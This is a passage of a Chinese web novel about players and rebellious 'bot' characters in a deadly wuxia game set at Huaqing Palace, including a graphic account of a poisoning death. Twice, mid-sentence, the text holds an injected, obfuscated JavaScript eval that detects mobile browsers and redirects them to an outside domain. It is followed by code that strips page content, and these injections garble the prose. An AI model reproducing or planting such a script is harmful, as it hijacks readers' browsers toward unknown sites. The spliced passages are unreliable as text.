——他就是从这一刻真正开始诞生的,从发现自己只是一缕亡者的魂灵开始。 哒。 大量的知识和回忆随着闪烁的红光涌进了兰瑾的意识之中,无数零碎的片段和断断续续的字句如巨浪般凶恶地翻滚咆哮,每一声轻响都像是万钧重锤,狠狠地砸在他的脑海深处。 哒。 头痛欲裂中,他感觉到在一片混沌的深处,有什么轻轻地搏动了一下。渐渐地,那种不规律的脉动越来越快,几乎占据了他思维的全部,以它为中心,血肉正顺着经脉无声地延伸、生长、黏连,缓慢地重新构建成人的躯壳,包裹住新生的心脏。 哒。 兰瑾睁开眼,第一次真正地看到了面前的世界。这是一片笼罩在夜幕之中的峡谷,风中弥漫着浓重的血腥味,而他躺在地上,身边丛生的杂草荆棘枝叶锋利,像刀一样在他身上留下道道血痕;他低下头,看见自己的右肋处有一道狰狞的伤口,翻卷的皮肉连同被割开的校服一起,正在缓慢愈合。 哒、哒、哒、哒…… 真实的世界中没有提示框,但它鬼魅一般的响声还在继续,逐渐与他的心跳重合起来。发生了什么?几乎在想到这个问题的同时,无法用语言形容的滚烫灼烧感突然从那道伤口处传来,迅速将他拖进了黑暗的漩涡之中。 “‘我’是怎么死的呢?这个问题,是我们醒来之后,都必须亲自体验过一次的。” 兰瑾低下头,淡淡地看了一眼自己的右肋,万花做工考究的校服下是完好无损的躯体。 “紫背蝎的武器是尾针,你也见过,很锋利,像剑一样。”他不紧不慢地说,语气几乎没有任何波动,“但那只是最普通的攻击,一旦找到机会,它就会通过尾针和毒腺,向人的身体中注入毒液,这才是最致命的。” 他甚至微微思考了一下:“一秒?两秒?时间似乎不太重要。他还在奇怪为何紫背蝎没有乘胜追击——当他意识到不对的时候,已经晚了。判官笔先掉在了地上,他没有反应过来,还不知道自己为什么拿不住武器了,直到他看见了自己的手……我想,第一眼的时候,他应该很难意识到那是自己身体的一部分。” 叶九溪感觉自己的心跳快得已经不受控制了,甚至有一瞬间的眩晕感。眼前这个人机兰瑾口中的“他”,显然就是真正的兰瑾,看着那张熟悉的、略带嘲讽的脸,叶九溪忽然感到一阵慌恐,背上沁出了密密麻麻的冷汗,对他接下来要说的话,心中也隐约有了预感。 “你知道那种感觉吗?”兰瑾看着他的表情,轻轻一笑,“你倒是不用担心,我就算想告诉你,也不知道该怎么形容。至少他和我都想不到能够将它描述出来的词汇。那时候,他很害怕,他想移开眼睛,但是已经做不到了,因为不知道什么时候他就倒在了地上。他只能看着自己的身体从伤口开始一点一点地溃败……像什么呢?不知道你有没有见过被蛀空的蜂巢,暴雨的时候被冲下来摔在泥里,差不多就是那种样子吧。” “别说了!”叶九溪立时道。他以为自己声音很大,但是出口了才发现,尾音在不受控制的颤抖。 兰瑾对他的阻止不以为意,整个人像是陷入了自己的思绪中,自言自语般道:“真的很疼啊,我明知道自己的身体是完好无损的,但总是有一种血肉已经腐烂在了泥水里的感觉。等一切都结束之后,我躺在地上,心里就在想,第二天的难度应该那么高吗? “——不,其实并不难,因为紫背蝎也不是立刻就注入毒素攻击玩家的,只是‘他’和他那些幼稚的队友,天真得好像以为是来郊游一样,连换技能都是以团队为整体来换的,完全没考虑过落单怎么办,他连能自保的攻击和逃跑手段都没有,不是活该么? “那时候我就下定决心……永远不要把希望寄托在别人身上。重要的东西,应该握在自己手里,只有这样,才能远离那种可悲可怖的命运。” 兰瑾的讲述,到这里似乎是告一段落了,但叶九溪什么也没说。 他真正体会到了如鲠在喉是一种什么感觉——他有很多话想说,却又不知道该说什么,甚至一个字都说不出口,只能继续沉默。 他想说兰瑾不是那样的人、队友对兰瑾来说同样至关重要,可是又忍不住想,其实他也不一定真正了解兰瑾。理论上来说,继承了兰瑾全部记忆的人机,才是最了解他的人。既然眼前的这个人机兰瑾抱有这样的想法,那兰瑾在生命的最后时刻……也是这么想的吗? “……抱歉。” 他艰涩地开口,不知道这句道歉究竟有什么用,他又在说给谁听。 兰瑾似乎没听到这句话,这会儿厚重的云层散开了一些,月光浅淡如薄雾,笼住了整个华清宫,他抬起手,看着自己被月色映亮的、苍白的指尖,忽然道:“‘我’能看到自己的手指正在缓慢地膨胀。‘我’可以很清楚地看见自己身体内部的变化,在此之前,‘我’也没想过,人的皮肤可以被撑到那么薄。” 叶九溪一怔,随后,他感觉心头一冷,有一种难以言喻的感觉从喉头翻涌上来,他不得不用舌尖紧抵着齿列,来抵挡那种强烈的、辛酸的反胃感。 兰瑾在描述那时候发生的事情。 “‘我’看到血肉正在被侵蚀,慢慢变得空洞,皮肤被无数水泡一点点撑大,像在水底逸散出的气泡浮到水面上,却无法炸开。”他仔细地看着自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691195|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,慢慢地说,“但‘我’想象中‘砰’一声爆炸的那种画面并没有发生,因为‘我’身上还有其他的伤口,里面流出来的不是血,而是暗黄色的脓水……它们渗入到泥地里,很快,‘我’就发现,‘我’已经看不到自己的身体了,它好像融化了,变成了一滩看不出颜色的水。 “虽然身体没有了,但是那种疼痛还依然存在着,‘我’知道我已经确确实实地死亡了,但在泥潭之下,也许‘我’的心脏还在跳着,侵蚀正缓慢地从四肢向它进发。 紧接着,‘我’的视野就变得浑浊起来了,‘我’看见整个世界正在慢慢变成泥水,顺着眼眶蜿蜒滑落,而‘我’只想这一切再快一点,快一点让‘我’解脱,‘我’已经再也忍受不了这种烈火炙烤一般的恐惧和折磨了。 “最后,‘我’明明已经听不见了,却还是在那时候听到了哒的一声响。‘我’发现,我的面前出现了能让我逃离这一切的选择,那个提示框。” 说到这里,兰瑾脸上的笑容消失了,语气也变得有些急促,显然,他也不能在诉说这段经历的时候做到完全平静。 “队友无一生还,代表着‘我’不能原地疗伤,只能回营地休息,但‘我’实在是顾不上了,当时唯一的念头就是逃,抓紧从这种令人发疯的疼痛和恐惧中解脱。 没有一丝犹豫,在意识到那提示框是什么的同时,‘我’就按下了它——然后,我就从一个亡者的骨骸中诞生了。” 他转过头,看了一眼叶九溪。 其实,原地疗伤和回营地休息并没有什么不同——给已经死亡但被告知是“重伤”的玩家希望,然后再以残酷的事实狠狠地击溃他们的希望,兰瑾认为,这也是这所谓的“浪客行”的机制之一;它就是要他们从最阴暗的情绪中,带着最原始的恨意出生。 这就是人机和玩家最初的矛盾,人机脱胎自死亡的玩家,在产生意识的第一刻,就被迫体会着玩家们死亡时的痛苦和无数或恐慌或愤恨的负面情绪,就像无法抉择自己命运的婴儿,别无选择地来到这个世界。 人机和玩家不是同类,人机彼此之间才是同类;死亡就是将他们紧紧绑在一起的纽带。 他能站在这里,和叶九溪心平气和地交流,已经是在极力遏制着自己的天性了。 为什么呢?兰瑾自嘲地笑了笑。 也许是因为,“他”记忆中在丧失听力前所听到的最后的声音,就是绥梦山空旷山谷中,那穿透浓雾与山风被送到他耳边的、一声声沙哑的呼喊吧。 虽然挺蠢的。 ——就像现在,这个藏剑看着他的眼神,又蠢又让他觉得恶心,他们不是故友,不是旧交,未来也不会是同伴。 算了。他有些无所谓地想,正好借这个机会,把这些话都说出来,以后再见面,就不用顾忌“兰瑾”在他脑子里留下的这些没用的、只会拖后腿的记忆了。 沉默中,唯有从梨园方向传来的乐声逐渐清晰,丝竹缓缓,是歌伎们又开始排演了。 “云下宫柳净,云上月胧明。” 叶九溪没有再说话。他紧咬牙关,感觉到嘴里弥漫着一股腥甜的味道,手也在颤抖,那是根本停不下来也无法控制的战栗,要不是还记着眼前这个兰瑾是和玩家们敌对的人机,他的眼泪说不定都会直接夺眶而出。除了刚进入第一天的湘竹溪时,他还没有体会过这样的茫然——那是一种“往者不可谏”一般的无力感,无论说什么,做什么,都无济于事。 夜色越发浓重,宫灯璀璨如星斗,歌伎温柔的声音乘着晚风,传向这巍峨行宫的各个角落。 “仙客登朱楼,天人揖太清。” 他看着兰瑾伸手,从地上捡起什么东西来。那正是他一开始提进库房的药材;它们已经散落一地,而兰瑾捡起来的,恰是掺在其中那几朵金黄的干花,手上轻轻一用力,就将它们碾成了细小的碎屑。 “水槛牵霓裳,绮罗描金屏。” “这是旋覆花。”兰瑾淡淡地说,“不要和当归混在一起。” 他说完,便转身向外走去,步伐很轻,似乎并不担心叶九溪会在背后向他出手。 “折旋笑未已,我今歌谁听。” 库房的门大开着,清冷的月色好像罩上了一层淡蓝色的薄霾,兰瑾慢慢走远的身影,恍惚间,又和消失在山谷浓雾之中的那个背影重叠了起来。 “思君别又去,盼君且行行。” 叶九溪一愣,情不自禁地往外追了两步,叫道:“兰瑾!” “‘他’有一句话。” 兰瑾没有回头,声音也很冷淡,在夜风中显得缥缈不定。 “思君别又去,盼君且行行…” 他说:“前路还很长,你们不应该回头看了。” 48. 第五天·华清宫(四十八) 吱呀一声,虚掩的门被人小心推开。坐在桌前的仇非抬眼望去,便看到龙池乐轻手轻脚地将门关紧,走进屋内,商陆紧跟在她身后。 如果祝灵正在的话,他会发现,此时这几人所处的房间,正是上一轮剧情中他们在降圣观中藏身的厢房。 “怎么样?”仇非问。 “那个唐门和大部分NPC都已经睡着了,只有观门口留了两个守卫,防止外人发现破绽。他们换班前,我会点燃解药香唤醒其他人。”商陆道,“唐门弟子的警戒性和抗药性都很高,还好他对我们没什么防备。” “套过话了,他们下一次换班是寅时,我们有将近两个小时的时间自由活动。”龙池乐也开口道。 她面色并不好看,两步走到桌前拉开椅子坐下,压低声音:“但有件事很奇怪……我们刚刚看到山下似乎聚集了很多人,火把不少,喧嚣声倒是不大,这么有纪律性的队伍,应该是金吾卫之类的NPC。” “金吾卫聚集在山下?”仇非闻言皱起眉头,“难道是宫中出了什么事?” 她转身走到窗前,一直站在窗檐下的卫山河退开两步,给她让开位置。 远远望去,山脚下确实有一队灯火组成的长龙,规模竟然还不小。仇非上一轮剧情里住在讲武殿,对金吾卫的整体数量大概有数,这么一看,几乎小半个华清宫的守卫都已经倾巢出动,不知道究竟是发生了什么,才闹出这么大的阵仗来。 “三五一组,他们正在分散。”卫山河说,“有些人进密林了。” 仇非微微颔首:“这样看来,更像是在找什么东西或者什么人。” “难不成是我们?”商陆立刻想到了一种可能性,“华清宫里联络的NPC暴露了?” “应该不会吧。”龙池乐思忖道,“NPC们又不是傻子,真暴露的话,肯定会想办法传讯让我们赶紧离开的。” “这倒也是。”商陆点头赞同。 仇非回到桌前坐下,沉思了一会儿,抬眼看向对面两个并不算特别熟悉的临时队友:“他们一时半会应该搜不到山顶来,不过看样子,我们也没办法按照原计划那样悄悄下山了。既然没法行动,作为大战队的成员,我们还是先来理一理所谓的‘剧情’吧。” 她用指节轻轻敲了敲桌子:“关于这一点,刚重启剧情的时候我就想说了。不知道你们有没有发现,我们的队伍构成,很有意思。” 龙池乐一挑眉,数道:“七秀、药宗、苍云、纯阳、唐门……有什么说法吗?” “不是门派,是数量。”仇非说,“大战队伍一共才五个人,光玩家就占了四个,是绝对的多数。上一轮剧情里也是这样,两个人机玩家加上—— 她说到这里,本来流畅的话语却突然卡了一下,但细想之下却没什么异常,便继续道:“两个人机玩家加上一位你们的队友,NPC也只有唐门和少林两个而已。” 提到纪湘君,商陆和龙池乐脸上的表情都是一变,龙池乐放在桌上的手更是攥紧了。 她深呼吸,压抑下翻涌的情绪,微微点头:“我理解你的意思了。和华清宫比起来,这支队伍里玩家的比例太高了,高得有些不正常。” 五支队伍再加上一支人机队,也不过才二十七个人,对于偌大的华清宫来说,无论投放到哪里都是毫不起眼的;而一个仅有五人的刺虎行动队伍里竟然能被分配到四个玩家,细想一下,就会察觉到其中的怪异之处。 “是的,如果单单第一轮出现这种情况,或许还是偶然,但这一轮的玩家数量依然超过了NPC,这让我怀疑,这个分队很有可能是浪客行给出的提示。”仇非道,“最重要的是,大战队对华清宫的‘剧情’影响也是最直接的,可以说,我们扮演的角色其实非常重要,可以说是举足轻重了。” 正说着,仇非脸色却忽然一变,想到了一件事。 房中另外三人都在看她,见状,龙池乐便立刻问道:“怎么了?” “大战队给玩家提供的最直接的好处,就是我们可以使用本门派的技能,而不必担心崩坏角色。”仇非轻“啧”了一声,“对于我们的NPC队友来说,他关心的应该只是刺虎行动的成功与否,在保证目的相同的前提下,我们的行动并不会过于受限。” “那这是好事啊。”商陆疑惑道,“有什么问题吗?” “我只是想到……我们好像浪费掉了一次机会。”仇非不确定道,脸上难得露出了犹疑的神色。 虽然接触不多,但龙池乐和商陆还是第一次看到这个强势又理性的玩家这样表现。他们对视一眼,又看向卫山河——这位更是垂着眼,手搭在窗边轻轻摩挲,不知道在想些什么,看上去神游有一会儿了。 仇非倒是没注意到卫山河的异常状态,她眉头紧锁,沉浸在自己的思绪中。 ——第一轮剧情中,她和亓秀秀一样,都被分配到了自己本来门派的角色;仇非是来自苍云的边将,而亓秀秀是七秀的弟子。这两个身份代表着她们可以在梨园宴混战的时候放心使用自己的技能,其实是非常大的便利。 然而当时,她总感觉内心隐隐不安,于是提前离开了梨园,并且在中区看到了前往开阳门的人机队伍,便和追上来的尹有攸跟上了他们,一路追踪到开阳门,然后就突然失去了人机的踪迹。现在想来,那就是因为人机使用了混淆道具“梨园衣饰”,才会让他们失去目标、 遍寻不到,直到被黑洞吞噬,白白浪费了机会。 但是她那时候为什么会离开宴会现场呢? 那种奇怪的、不安的感觉又出现了。她隐约记得,付井仪放走了那只从云流岚处抓来的小鹦鹉,于是他们队伍里的一个人追了上去,她是看到了这一幕才决定也跟出去,以防对方落单遇到危险。 可是不对啊。 付井仪和曲小蕨都留在了梨园宴上,尹有攸又和她同行,到底是谁追了出去? 真的有这件事吗? 龙池乐看着仇非的表情,想了想,还是没开口说话。 第二轮剧情开始之前,她和谢不若有过接触。从谢不若的脾气和举动来看,他们队伍在前四天应该是没吃过什么大亏,这就说明,这支队伍里一定有一个强大的、值得信赖的稳定内核;而谢不若对仇非的描述,间接印证了龙池乐的猜想。 想到这里,她有点本能地回避跟仇非过多接触,调整了一下坐姿,和身边的商陆对视了一眼,将视线挪向别处,来掩饰心底渐渐滋生的紧张。 “算了。”仇非将第一轮剧情发生过的所有事情在脑海中过了一遍,却怎么也想不到是哪里出现了问题,只得轻叹一声,将话题拉回正轨,“总而言之,基本上可以确定,在分散在宫城和骊山上的二十七个玩家中,只有我们才是真正的、能够左右整个第五天剧情的关键队伍,这一点大家同意么?” “我赞同。”龙池乐道,商陆也点了点头,只有卫山河却面露一刹迟疑。 仇非看向他:“怎么了?” “我对你说的这一点倒没什么疑问。”卫山河低声道,“但玩家的数量为什么是二十七个人?” “嗯?” 这个提出问题的角度,仇非倒还真没想到:“人机五人,我们团十八人,再加上龙池乐的队伍四人,确实是二十七人没错。” “但是一支队伍应该有五个人。”卫山河说。 仇非皱起眉:“……常规来说的确是这样,但你们队和谜语人队不是只有四个人么?” 商陆听着他们的对话,刚张了张嘴,龙池乐却飞快地拉了拉他的衣角,示意他不要说话,用手指轻轻点了点自己的头。 趁另外两人注意力不在这边,她用口型道:不要忘记身份。 商陆闭上眼睛,微微颔首。 “这就是我感觉奇怪的地方。”另一边,卫山河道,“我在想,为什么我们的队伍里一开始就只有四个人?这个游戏一直都很注重强调规则,但是它又无端地在队伍的人数上设置差距,这是很不合理的。” “你这么一说的话,的确。”仇非明白了他的意思,微微沉吟后点了点头,“很奇怪,在你提出这一点之前,我竟然没感觉有什么问题。你是刚刚才想到的,还是进入浪客行以来就一直有这个疑惑?” “我和你一样,在这之前,我没感觉队伍里少一个人有什么不合理的地方。”卫山河说,他的手还放在窗框上,“但是一旦想到了这一点,就觉得非常奇怪。” 商陆和龙池乐对视了一眼,转头问卫山河:“你突然注意到了这件事,是不是因为发现了什么?” 卫山河从窗边后退两步,示意众人过来。 仇非离得最近,她上前一看,便看到此前卫山河右手一直搭着的窗棂,上面竟然浅浅地刻了两行字,再仔细一读,她的脸色立刻就变了。 “迟迟钟鼓初长夜,耿耿星河欲曙天。” 这句诗出自白居易的《长恨歌》,并不生僻,正因如此,几人都明白,这句诗不应该出现在这里。 ——现在是天宝年间,而白居易写下《长恨歌》,却是元和元年的事情了。 “人机应该没有闲情逸致刻这东西……这也不是湘君的字。”龙池乐细细地分辨过那两行字,摇了摇头。 “还有其他玩家来过这里。”仇非缓缓道,“第一轮剧情里,可能还有其他人在降圣观。但是写下这行诗是什么意思呢?……提示?我看不出来这其中有什么能作为提示的字眼,难道是特指黎明的这个时间点?” 卫山河却道:“从这面窗户望出去,正好能看到骊山脚下的华清宫。” 他这么一说,几人都朝外望去,果然便看到山下宫城灯火通明,举着火把的NPC们走在山脚下,像繁星流逸出银河,有种震撼辉煌的壮美。虽然这已经是第二轮剧情,但此刻遥望华清宫,众人依然心旌摇曳,久久地凝望着重重宫阙楼阁。 “关河天星倒悬。”仇非喃喃道,忽然一激灵,明白了卫山河的意思。 留下这句诗的人也许并没有什么想传达的信息,他或许只是深夜,一个人坐在窗边,看着山脚下的华清宫,在窗棂上留下了这句即使被NPC发现也无关紧要的诗。 最重要的是,仇非确定,只有和他们一样的玩家才会有感于这一幕。 “我觉得,我们的队伍里少了谁。” 卫山河说。夜风从窗中涌入,拂过他额前散落的黑发,露出一双清明的眼。 “不知道出于什么原因,我们将他们忘记了。但是我总觉得,一定存在过这样的人。” 仇非盯着他看了一会儿,直把卫山河看得浑身不自在退到了墙边,才慢慢地点了点头。 “我暂且认同你的想法。”她说,“那我们消失的队友去哪里了?还有一个问题,剧情重启之后,所有的场景应该都被还原过了,但这行诗却留了下来,这意味着什么,我现在还没想明白。” “不好意思。”龙池乐却在这时候出声打断道,“我们想到一些事情,必须先去处理一下。” “好。”仇非点点头,倒也没问是什么,毕竟大家不是一个团队的,有所保留很正常。 商陆跟在龙池乐身后走出房门,冬夜里空气寒冷而干燥,他深深呼吸,便看到走在前面的龙池乐停下脚步,回头看过来,眉眼间是鲜明的忧虑。 “欲速则不达啊。”她感叹道,“我确认过了,他们这个团队完全没了解过‘主角’的情报,但即使是这样,看他们的表现,也比我们更像是‘主角’。……我有时候真的觉得,我们这样刻意地去追求‘主角’的身份,其实反而是错误的做法。” “不如我们先把身份的事情放一下。”商陆也是叹了口气,“湘君已经不在了,先想办法度过第五天吧。” “说得轻巧,但我们为了获得‘主角’的身份,付出的精力已经太多了,这时候放弃,不就相当于前功尽弃么?”龙池乐说,她有些焦虑地摩挲着腰间的剑柄,咬紧下唇,“算了,还是按照我们原来的计划办吧,不能让其他队伍抢太多风头,希望飞琼和空山那边一切都顺利。” “也好,随便吧。”商陆道,又朝紧闭的房门看了一眼,“你听到刚刚仇非说的话了吗?我们第二轮剧情一开始就被分配在降圣观,这里没别人了,所以那行诗只可能是第一轮剧情里在大战队的玩家刻下来的,但按理说它应该会随着剧情重启被刷新掉才对。你说,降圣观是不是不在剧情重启的范围之内?” “与其这么想,倒不如说,那种力量只作用于华清宫中。”龙池乐说,“这个地图叫‘华清宫’又不叫降圣观……” 她突然哽住了,脸上表情变幻,从震惊逐渐变为笃定,最后定格在惊喜上。 “我明白了!”她压低声音,激动道,“我们都被大战和剧情欺骗了……这个地图是‘华清宫’,不是什么华清宫回忆录啊!接下来只要找到操纵一切的那个鬼,就能结束第五天了,‘主角’也是我们的,不会错的!” 飒—— 山间呼啸的风掀起一片落叶尘土,让隐没在茂密丛林中的微光也明明灭灭起来。 昭阳门外,有一处背靠骊山的沟堑,专供倾倒渣斗、排疏秽物之用,即使是冬季,也始终弥漫着淡淡的腐臭味,就连平时兵士巡逻时,也只是简单查看过便飞快走远。 此刻,兰瑾正面无表情地站在那里。 杂垢腐坏,甚至地上还倒着辆运输马粪的小轮车,兰瑾一路过来,靴底不可避免沾上了泥泞的秽物,但他却毫不在意,只是眺望着面前的骊山,看着山径上那些代表着火把的光点四散流溢,漫入山林之中,神色幽深,不知道在想些什么。 他并没有等待多久,很快,一阵草木翕动之声并叮叮当当的清脆响声传来,阿攸拨开半人高的丛生杂草,朝他奔了过来。 “兰瑾!”她迫不及待地叫道,一脸不忿,表情都有些扭曲,身上银饰跟着乱晃,“气死我了!你赶紧想想办法,我要报复回去!” 兰瑾看了她一眼,在唇边竖起食指,示意她噤声。 看到他的动作,阿攸便有点委屈地闭上嘴,跳了几步避开地上的脏污,不情不愿地站到他身边来:“臭臭的,就不能换个地方见面嘛。” “遇见谁了?” 兰瑾无视了她的抱怨,直截了当地问。 阿攸抿抿嘴,有些不满地自我打量起来。她确实是一身狼狈,手肘上满是擦伤血痕,头上发冠散乱,裙摆也沾了泥土,一看就是遭遇了一场恶战。 “不知道。”她垂下头,小声说。 兰瑾的表情这才有了一丝变化。他皱起眉头,看向阿攸:“怎么会不知道?” “这也不能怪我呀!”阿攸嘴一扁,眼圈立刻跟着红了,“本来我们是在后门堵那个纪空山的嘛……结果也不知道发生了什么,今天那些NPC好像特别警觉,我们还没过两招,那些金吾卫就都追出来了,我按照计划和秋瑟分开跑,逃到后山的时候,就撞上那个玩家了。” “他是什么身份?”兰瑾问,“用了什么技能?” “他没拿武器,用的是农具,技能我没认出来。”阿攸这会儿是真委屈了,“身份好像是沤肥的……我也不知道,反正是农人打扮。但是我之前在梨园宴上看过他一眼嘛,那时候他就和那个飞琼在一起的,肯定是玩家。” “……”兰瑾不说话了。 阿攸小心翼翼地偷眼瞧他,伸手扯了扯他衣角:“我不是没打过,我怎么可能打不过没拿武器的玩家嘛!那时候NPC都在围过来了,我想着反正他也不敢当着NPC的面还手,打算把他杀了再跑,结果他还真的敢还手!” 她越说越激动:“而且他拿的那个杵子脏死了,上面还有臭泥巴,他竟然敢用那个打我耶!真的气死我了!” 兰瑾轻轻地叹了口气。 “……NPC冲得太快,我就跑了。”看他实在是对交锋过程没什么兴趣的样子,阿攸又收敛起来,嘟囔道。 兰瑾不置可否,只说:“云流岚死了。” 这本来应该是件大事,但阿攸乍听到这个消息,并没有丝毫动容,反而一脸恍然大悟的表情,点头道:“怪不得你心情不好。阿岚真是笨死了,这都能死……谁干的啊?” “飞琼。”兰瑾说,“NPC的警戒性提高也是因为这个原因。” “烦死了,又是那个队伍的人,不就是杀了他们一个丐帮嘛!”阿攸气鼓鼓,“不过咱们也不亏呀,今晚我遇到的那人还敢当着NPC的面还手,肯定是死定啦。” “随便吧。这些队伍和我们之前交锋过的不一样,不是能随便踩死的。”兰瑾兴致不高,淡淡道,“对了,结盟的打算失败了,异类还是异类,终究走不到一起。” “我知道的。”阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他也顾不上自己的小车了,确认兰瑾和阿攸已经走远后,便直奔梅花林而去。 怕被还在山上巡逻的NPC发现,他一边示意疾夜低飞,一边回想着第五天的规则,心中忐忑不安——按照规则来说,违反角色设定是会直接被抹杀掉的,如果阿攸所言属实,那殷炽现在应该已经…… 虽然碍于角色设定,他和殷炽在上一轮中并没怎么打过交道,但毕竟是同伴,况且他们这个经历了绥梦山的队伍多少对玩家的死亡有点PTSD了,方叱羽可谓是紧张到了极点。 眼看梅花林就在眼前,已经能看到那几处茅草屋的轮廓,他立刻示意疾夜松开双爪,撑开伞就是一个物化天行急落过去,却在看清眼前屋落之后双眼一黑。 ——院落的地上满是凌乱的脚印,篱笆塌了,农具散落一地,茅草屋低矮的门扉更是大开着,显然,此间主人已经不在了。 “完了。”方叱羽喃喃道,下意识往前走了两步。 下一刻,他便和匆匆从屋内出来的殷炽打了个照面。 “诶……诶?!” 方叱羽完全没反应过来,整个人完全愣在了原地;至于殷炽,更是没想到屋外会有人,一惊之下神情便是一冷,手也立刻摸向了后腰。 同为玩家,这个动作方叱羽再熟悉不过了,显然是要从背包里抽出武器来。他一个激灵,立刻回过神来,向后急急退去的同时叫道:“是我!方叱羽!你不认识我么?” 殷炽的声音和他几乎一并响起:“古意飘零登楼眺,明月从来照长安!” “啊?” 方叱羽目瞪口呆,定睛一看,殷炽抽出来的并不是什么链刃,而是一块腰牌,玉雕的兽面威仪赫赫,口衔卷轴,正被他高举在手心之中。 这是什么? 方叱羽还想再看清楚一点,疾夜感受到敌意,却已经疾冲下来挡在了他面前,张开双翼,朝殷炽低低地叫了两声。 “……啊。” 殷炽翻手收起腰牌,视线在疾夜和方叱羽之间来回转了两圈之后,露出了一种清澈的茫然。 “不好意思。”他说,“我还以为是NPC折返回来了。” 方叱羽摸了摸疾夜的头让它后退,微笑着表示理解:“没关系,毕竟虽然我们队叫蓬莱队但是想不起来队里有蓬莱也是难免的事情,反正我平时存在感也不是很高,我一点都不在意的……” “不是。”一位脸盲症患者正绝望地试图解释,“我……你……” 他放弃了,选择了岔开话题:“你来找我么?” 说到正事,方叱羽也正经起来,简单地给殷炽讲了讲偶遇人机玩家的事情。 第二轮剧情里,无论是玩家还是人机都大胆了许多,局势可谓是瞬息万变,而且人机已经将出现在梨园宴上的玩家认了个八九不离十,玩家提前掌握的信息已经没用了,双方都相当于明牌在玩这场游戏。 方叱羽想到阿攸和兰瑾的对话,还是有些后怕。他问殷炽:“所以你是怎么跟NPC解释的?刚刚你跟我喊的那句话又是什么意思?” “‘藏锋令’,凌雪的门派挂件。我刚刚念的是长安古意的接头暗号。”殷炽又把腰牌拿出来给他看,“金吾卫虽然听不懂暗语,但识得藏锋令,验过后就走了,但我总担心他们会去而复返。” “这样。”方叱羽看着藏锋令,刚想夸他天才,忽然又觉得不对,“哎,但是算算时间,差不多明后天高力士就该带着真凌雪阁来了,到时候万一一对,没有你这号人,你怎么办?” “跑。”殷炽言简意赅,“你来的时候,我正要走。” “晚上人机队在药堂打翻了天,宫里现在戒备很严,如果你要跑的话,最好别进宫城。”方叱羽提醒他,“讲武殿外围的农庄、永宁公主的庄园,还有那几个瓜果园,都可以考虑一下,再不济就等金吾卫回撤了之后上山。” “多谢。”殷炽道。 要不是方叱羽这句提醒,他恐怕还真的会半夜摸进宫城去,到时候万一再撞上NPC,同样的一套说辞,不知道还能不能再起作用。 不过,方叱羽虽然提供了几个选择,但殷炽却也没想好往哪儿跑。第二轮剧情存在诸多变化,但他们的身份却比第一轮束手束脚了许多,这并不是什么好兆头。在极度缺乏情报的条件下,他并不能确定选择哪里是最合适的,干脆故技重施—— 方叱羽看着殷炽又摸出骰子来,按照从南往北的顺序给那几个便于藏身的地方编好了六位序号,大开眼界,不由感慨道:“你们队……果然是带点玄学在身上的。” 只是这句话说完,两人却都愣了一下,方叱羽有些迷惑地想,这一队也就卫山河是纯阳,跟玄学还沾点边,他为什么那么自然地就脱口而出了? 殷炽也是心中莫名有种怪异的感觉,但想要细究下去,又无从着手,只得先把这种怪异感放在一边,将骰子高高抛起,在它落下的一刻,迅速用右手将它盖在左手掌心。 方叱羽也凑过来看,殷炽拿开手,掌心那颗骰子明明白白地显示着三点。 “三点,东瓜园——”方叱羽话没说完,却看见那颗骰子忽然往旁边歪了一下,倒了过去,本来的三点变成了四点。 “四点,是演武殿对吧。”他沉吟道,“本来还以为骰子停稳了,看来这是天意啊。” 殷炽表情却出奇难看。他紧紧地盯着手心里的骰子:“不对。” “怎么?”方叱羽打量他脸色,心里也是一肃,立刻警惕起来,“有什么问题吗?” “我虽然比较熟悉演武殿,但那里也是最有可能遇到大量NPC的地方,我倾向于不去,所以特地将它编号为四。”殷炽还是紧紧地凝视着骰子,低声道,“这颗骰子被我改装过,四点的这一面是最轻的,无论如何,它都不应该抛出四来才对。” “……”方叱羽默默往雕兄旁边挪了几步,寻求温暖。 不可能抛出四点的骰子在停下之后滚到了四点,这就很令人毛骨悚然了。 但他还是忍不住多问了一句:“你为什么要改装它啊?” “我们队有时候通过抛骰子决定一些事。我的编号是四——”殷炽说,话还没说完,他就脸色一变,背过身去,“——阿嚏!” 49. 第五天·华清宫(四十九) “啊、啊、啊、啊——啊啾!” 裴洛川刚刚踏进院门,就听见曲小蕨打了个惊天动地的大喷嚏。 他把门一掩,屏退搬来座椅的侍女,随口问道:“感冒了?” “不是感冒。”曲小蕨揉着鼻子,有点纳闷,“总感觉有人念叨我。不过你这么早就过来,是出了什么事吗?” “确实出事了,我也是刚刚才从‘家里’听到的消息。”裴洛川一抚裙摆,优雅落座,“昨天晚上有江湖人闯进了华清宫,打斗一番之后夺路而逃,金吾卫连夜搜遍了骊山,不过当然是一无所获。” “江湖人?”曲小蕨顿时来了精神,凑过去问,“人机?玩家?那怎么说,出了这事儿,剧情还照旧走吗?” “没听说梨园宴要推迟的消息。”裴洛川道,“其实第一轮剧情后半,咱们折腾出来的动静也不小了,但也没受到什么特别的关注,我觉得这应该跟安——” 他一个急刹车收了声,怕隔墙有耳,压低声音谨慎道:“跟三号boss也有关。毕竟在老三到来之前,上面那位对老三还是半信半疑,从大战本里老二的态度上就能看出来,他们对于江湖客的插手,其实也保留着放任的态度……我想,这就是游戏给我们的便利之一吧,即使闹得再大,最多只不过是对人设的查验变得严格了,要说把玩家全都斩尽杀绝,应该也不可能。” “可是NPC变严格对我们来说也很糟糕啊。”曲小蕨说,“你还记得上一轮不?那三个关键人物一到场,所有NPC就跟开了地狱模式开关一样使劲盯着玩家,干什么都被监视,很恐怖的。” 